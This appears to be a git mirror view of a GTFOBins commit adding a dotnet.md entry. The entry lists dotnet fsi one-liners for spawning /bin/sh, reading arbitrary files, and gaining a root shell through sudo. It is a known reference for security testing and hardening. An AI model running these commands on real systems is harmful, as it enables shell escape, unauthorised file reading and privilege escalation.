mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-08-23 17:44:49 +02:00
16
_gtfobins/dotnet.md
Normal file
16
_gtfobins/dotnet.md
Normal file
@@ -0,0 +1,16 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
shell:
|
||||||
|
- code: |
|
||||||
|
dotnet fsi
|
||||||
|
System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;
|
||||||
|
file-read:
|
||||||
|
- code: |
|
||||||
|
export LFILE=file_to_read
|
||||||
|
dotnet fsi
|
||||||
|
System.IO.File.ReadAllText(System.Environment.GetEnvironmentVariable("LFILE"));;
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
sudo dotnet fsi
|
||||||
|
System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;
|
||||||
|
---
|
Reference in New Issue
Block a user